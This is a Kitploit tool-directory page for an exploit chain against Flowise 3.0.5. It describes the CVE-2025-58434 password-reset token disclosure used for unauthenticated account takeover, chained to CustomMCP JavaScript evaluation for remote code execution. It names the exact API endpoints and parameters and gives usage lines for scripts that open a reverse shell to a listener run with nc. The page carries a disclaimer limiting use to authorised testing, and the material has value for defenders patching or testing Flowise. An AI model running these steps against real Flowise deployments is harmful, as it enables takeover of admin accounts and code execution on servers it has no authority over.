Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-58434 — Exploit chain for Flowise 3.0.5: unauthenticated account takeover via password-reset token disclosure (CVE-2025-58434) chained to CustomMCP JavaScript evaluation for remote code execution. | Kitploit
Tools/GitHubGitHub/r3vpwnx/cve-2025-58434
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationRed Teaming
GitHubr3vpwnx/cve-2025-58434

CVE-2025-58434

Exploit chain for Flowise 3.0.5: unauthenticated account takeover via password-reset token disclosure (CVE-2025-58434) chained to CustomMCP JavaScript evaluation for remote code execution.

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-58434 - Flowise unauthenticated account takeover, chained to CustomMCP RCE

Two Flowise 3.0.5 issues, chained:

  1. CVE-2025-58434 - password-reset token disclosure. POST /api/v1/account/forgot-password returns the target user's tempToken directly in the JSON response. Feed it to POST /api/v1/account/reset-password to set a known password for any account, including the first admin -> full unauthenticated account takeover.
  2. CustomMCP mcpServerConfig server-side JavaScript evaluation. With a session and workspace API key (from step 1), POST /api/v1/node-load-method/customMCP with loadMethod=listActions evaluates the mcpServerConfig string as JavaScript in the Flowise process, giving require('child_process').exec() RCE. (Separate Flowise issue used here only to turn the ATO into code execution; no CVE assigned at time of writing.)

CVE: CVE-2025-58434

Requirements

root@kitploit:~
python3 -m pip install requests

Usage

flowise_ato_foothold.py - full chain (ATO -> API key -> CustomMCP reverse shell)

root@kitploit:~
python3 flowise_ato_foothold.py <LHOST> <LPORT> [TARGET_IP] [FLOWISE_VHOST]
# have `nc -lvnp <LPORT>` ready

flowise_customMCP_rce.py - CustomMCP RCE only (needs an API key)

root@kitploit:~
python3 flowise_customMCP_rce.py '<command>' '<FLOWISE_API_KEY>'

References

  • https://github.com/FlowiseAI/Flowise/security/advisories
  • NVD: CVE-2025-58434

Disclaimer

For authorised security testing and education only. Only run this against systems you own or have explicit written permission to test.


Author: r3vpwnx

Download Tool